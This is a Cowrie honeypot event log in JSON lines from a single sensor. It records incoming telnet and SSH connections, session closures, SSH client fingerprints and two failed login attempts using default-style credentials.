{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42270,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ecb312b0b8","protocol":"telnet","message":"New connection: 103.137.231.186:42270 (159.203.135.109:23) [session: 37ecb312b0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:14.439466Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42284,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf30e7e9469","protocol":"telnet","message":"New connection: 103.137.231.186:42284 (159.203.135.109:23) [session: 8cf30e7e9469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:14.519643Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":57518,"dst_ip":"10.17.0.5","dst_port":22,"session":"485cccf866ce","protocol":"ssh","message":"New connection: 45.78.194.242:57518 (10.17.0.5:22) [session: 485cccf866ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:14.739102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:14.744691Z","src_ip":"45.78.194.242","session":"485cccf866ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:14.976233Z","src_ip":"45.78.194.242","session":"485cccf866ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11721897125244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:15.237789Z","src_ip":"169.38.112.222","session":"0131737bb675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950380563735962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:15.370122Z","src_ip":"152.53.125.71","session":"b5dd50692014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683980226516724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:16.139986Z","src_ip":"169.38.112.222","session":"efe22267ba81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35218620300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:16.206466Z","src_ip":"103.137.231.186","session":"56690483d787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491323709487915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:16.358738Z","src_ip":"103.137.231.186","session":"ec35502a6dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42324,"dst_ip":"159.203.135.109","dst_port":23,"session":"678a1e3cefd4","protocol":"telnet","message":"New connection: 103.137.231.186:42324 (159.203.135.109:23) [session: 678a1e3cefd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:16.650121Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42332,"dst_ip":"159.203.135.109","dst_port":23,"session":"b12d62533616","protocol":"telnet","message":"New connection: 103.137.231.186:42332 (159.203.135.109:23) [session: b12d62533616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:17.112194Z"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"admin","message":"login attempt [teamspeak/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:17.135648Z","src_ip":"45.78.194.242","session":"485cccf866ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42308,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f2edfda698","protocol":"telnet","message":"New connection: 103.137.231.186:42308 (159.203.135.109:23) [session: e0f2edfda698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:17.296198Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42344,"dst_ip":"159.203.135.109","dst_port":23,"session":"030576b045d5","protocol":"telnet","message":"New connection: 103.137.231.186:42344 (159.203.135.109:23) [session: 030576b045d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:17.832854Z"}
{"eventid":"cowrie.session.closed","duration":31.406726121902466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:18.364925Z","src_ip":"103.137.231.186","session":"4f48296b2fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49271869659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:19.107146Z","src_ip":"169.38.112.222","session":"5c05fd8fd16d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463058471679688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:19.299908Z","src_ip":"103.137.231.186","session":"c41b47fca713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35290,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e550ba91ac5","protocol":"telnet","message":"New connection: 103.137.231.186:35290 (159.203.135.109:23) [session: 0e550ba91ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:19.334439Z"}
{"eventid":"cowrie.session.closed","duration":31.57059955596924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:20.514231Z","src_ip":"103.137.231.186","session":"3762dbe2dc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c894a64722ed","protocol":"telnet","message":"New connection: 103.137.231.186:35302 (159.203.135.109:23) [session: c894a64722ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:21.033245Z"}
{"eventid":"cowrie.session.closed","duration":31.448088884353638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:21.701390Z","src_ip":"103.137.231.186","session":"9a11b37a8511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804435968399048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:22.124587Z","src_ip":"103.137.231.186","session":"58c9b14d0c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561585903167725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:22.129966Z","src_ip":"169.38.112.222","session":"faf800e425ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991389513015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:22.628324Z","src_ip":"103.137.231.186","session":"4cd2c2bb0415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602035522460938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:23.132980Z","src_ip":"169.38.112.222","session":"f6f5e5c2ca94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034570693969727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:23.664344Z","src_ip":"103.137.231.186","session":"b1d2f547a6a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35326,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd55a4a7fd6","protocol":"telnet","message":"New connection: 103.137.231.186:35326 (159.203.135.109:23) [session: 1dd55a4a7fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.008383Z"}
{"eventid":"cowrie.session.closed","duration":32.01788067817688,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.034641Z","src_ip":"169.38.112.222","session":"424b19309ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35308,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a35fdf829b9","protocol":"telnet","message":"New connection: 103.137.231.186:35308 (159.203.135.109:23) [session: 7a35fdf829b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.048071Z"}
{"eventid":"cowrie.session.closed","duration":30.349945783615112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.120703Z","src_ip":"169.38.112.222","session":"726c9d8d31ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557390213012695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.128520Z","src_ip":"169.38.112.222","session":"2c26e17ad894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35332,"dst_ip":"159.203.135.109","dst_port":23,"session":"971d4084e396","protocol":"telnet","message":"New connection: 103.137.231.186:35332 (159.203.135.109:23) [session: 971d4084e396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.383443Z"}
{"eventid":"cowrie.session.closed","duration":31.449691772460938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:24.908710Z","src_ip":"103.137.231.186","session":"f6477771489e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35342,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5366b8fbae","protocol":"telnet","message":"New connection: 103.137.231.186:35342 (159.203.135.109:23) [session: 3b5366b8fbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:25.092997Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51496,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c8a9199b36","protocol":"telnet","message":"New connection: 169.38.112.222:51496 (10.17.0.5:23) [session: a6c8a9199b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:25.110772Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35346,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d5ae4bee0b","protocol":"telnet","message":"New connection: 103.137.231.186:35346 (159.203.135.109:23) [session: 81d5ae4bee0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:25.349077Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51504,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e3a465d2d0","protocol":"telnet","message":"New connection: 169.38.112.222:51504 (10.17.0.5:23) [session: d7e3a465d2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:25.545402Z"}
{"eventid":"cowrie.session.closed","duration":30.568657636642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:26.120005Z","src_ip":"169.38.112.222","session":"02a87dcd4fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35362,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab1756c7872","protocol":"telnet","message":"New connection: 103.137.231.186:35362 (159.203.135.109:23) [session: 8ab1756c7872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:26.893379Z"}
{"eventid":"cowrie.session.closed","duration":30.25971245765686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:27.105577Z","src_ip":"169.38.112.222","session":"4ca9a50749dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.295150756835938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:27.114491Z","src_ip":"169.38.112.222","session":"7603a5e4f926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42776,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e8a2aef7bf9","protocol":"telnet","message":"New connection: 169.38.112.222:42776 (10.17.0.5:23) [session: 8e8a2aef7bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:27.798315Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":49768,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f10ca36df6","protocol":"telnet","message":"New connection: 152.53.125.71:49768 (10.17.0.5:23) [session: 07f10ca36df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:27.835957Z"}
{"eventid":"cowrie.session.closed","duration":31.29278564453125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:28.144901Z","src_ip":"103.137.231.186","session":"036f851bbd5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":51614,"dst_ip":"159.203.135.109","dst_port":22,"session":"1673d1d6394b","protocol":"ssh","message":"New connection: 186.13.24.118:51614 (159.203.135.109:22) [session: 1673d1d6394b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:28.336735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:28.341773Z","src_ip":"186.13.24.118","session":"1673d1d6394b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:28.513359Z","src_ip":"186.13.24.118","session":"1673d1d6394b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34736,"dst_ip":"159.203.135.109","dst_port":23,"session":"31740ed7a459","protocol":"telnet","message":"New connection: 103.137.231.186:34736 (159.203.135.109:23) [session: 31740ed7a459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:28.893161Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35364,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef78a2d5c0d","protocol":"telnet","message":"New connection: 103.137.231.186:35364 (159.203.135.109:23) [session: aef78a2d5c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.154932Z"}
{"eventid":"cowrie.session.closed","duration":30.76483941078186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.166699Z","src_ip":"103.137.231.186","session":"fc9fb0c8a50c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594261169433594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.196073Z","src_ip":"169.38.112.222","session":"7e8938cd90e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"u","message":"login attempt [ubuntu/u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.219578Z","src_ip":"186.13.24.118","session":"1673d1d6394b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5073299407959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.352625Z","src_ip":"103.137.231.186","session":"1ca3de9ed315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365926027297974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.826882Z","src_ip":"103.137.231.186","session":"42a77afe9ef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42786,"dst_ip":"10.17.0.5","dst_port":23,"session":"07291cf12cfa","protocol":"telnet","message":"New connection: 169.38.112.222:42786 (10.17.0.5:23) [session: 07291cf12cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.840384Z"}
{"eventid":"cowrie.session.closed","duration":46.72199559211731,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:29.866957Z","src_ip":"159.203.13.64","session":"2da7875e924d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34752,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8da2f3691f6","protocol":"telnet","message":"New connection: 103.137.231.186:34752 (159.203.135.109:23) [session: e8da2f3691f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:30.024194Z"}
{"eventid":"cowrie.session.closed","duration":31.138429164886475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:30.179782Z","src_ip":"169.38.112.222","session":"86f0e438a1a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:30.394869Z","src_ip":"186.13.24.118","session":"1673d1d6394b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96808123588562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:31.122717Z","src_ip":"169.38.112.222","session":"f569c792c14a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34766,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f38ed7b3c00","protocol":"telnet","message":"New connection: 103.137.231.186:34766 (159.203.135.109:23) [session: 1f38ed7b3c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:31.806494Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34772,"dst_ip":"159.203.135.109","dst_port":23,"session":"729a71179e86","protocol":"telnet","message":"New connection: 103.137.231.186:34772 (159.203.135.109:23) [session: 729a71179e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:31.934750Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34750,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9c12f515bac","protocol":"telnet","message":"New connection: 103.137.231.186:34750 (159.203.135.109:23) [session: b9c12f515bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:32.045410Z"}
{"eventid":"cowrie.session.closed","duration":30.712032794952393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:32.188932Z","src_ip":"169.38.112.222","session":"ab23ee55dbc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200327396392822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:33.121773Z","src_ip":"169.38.112.222","session":"e51911304988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835254430770874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:33.126414Z","src_ip":"169.38.112.222","session":"4dd8d5ecc835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60855221748352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:33.129606Z","src_ip":"169.38.112.222","session":"8e63104e477a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599721908569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:33.147604Z","src_ip":"169.38.112.222","session":"cdf97a48fcdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26795792579651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:33.180246Z","src_ip":"103.137.231.186","session":"8a0bc9981127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34778,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f8298f6d96","protocol":"telnet","message":"New connection: 103.137.231.186:34778 (159.203.135.109:23) [session: 55f8298f6d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:33.359802Z"}
{"eventid":"cowrie.session.closed","duration":31.179657459259033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:34.123761Z","src_ip":"103.137.231.186","session":"752ae1c31a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50129747390747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:34.325622Z","src_ip":"169.38.112.222","session":"fe95863cefef","protocol":"telnet"}
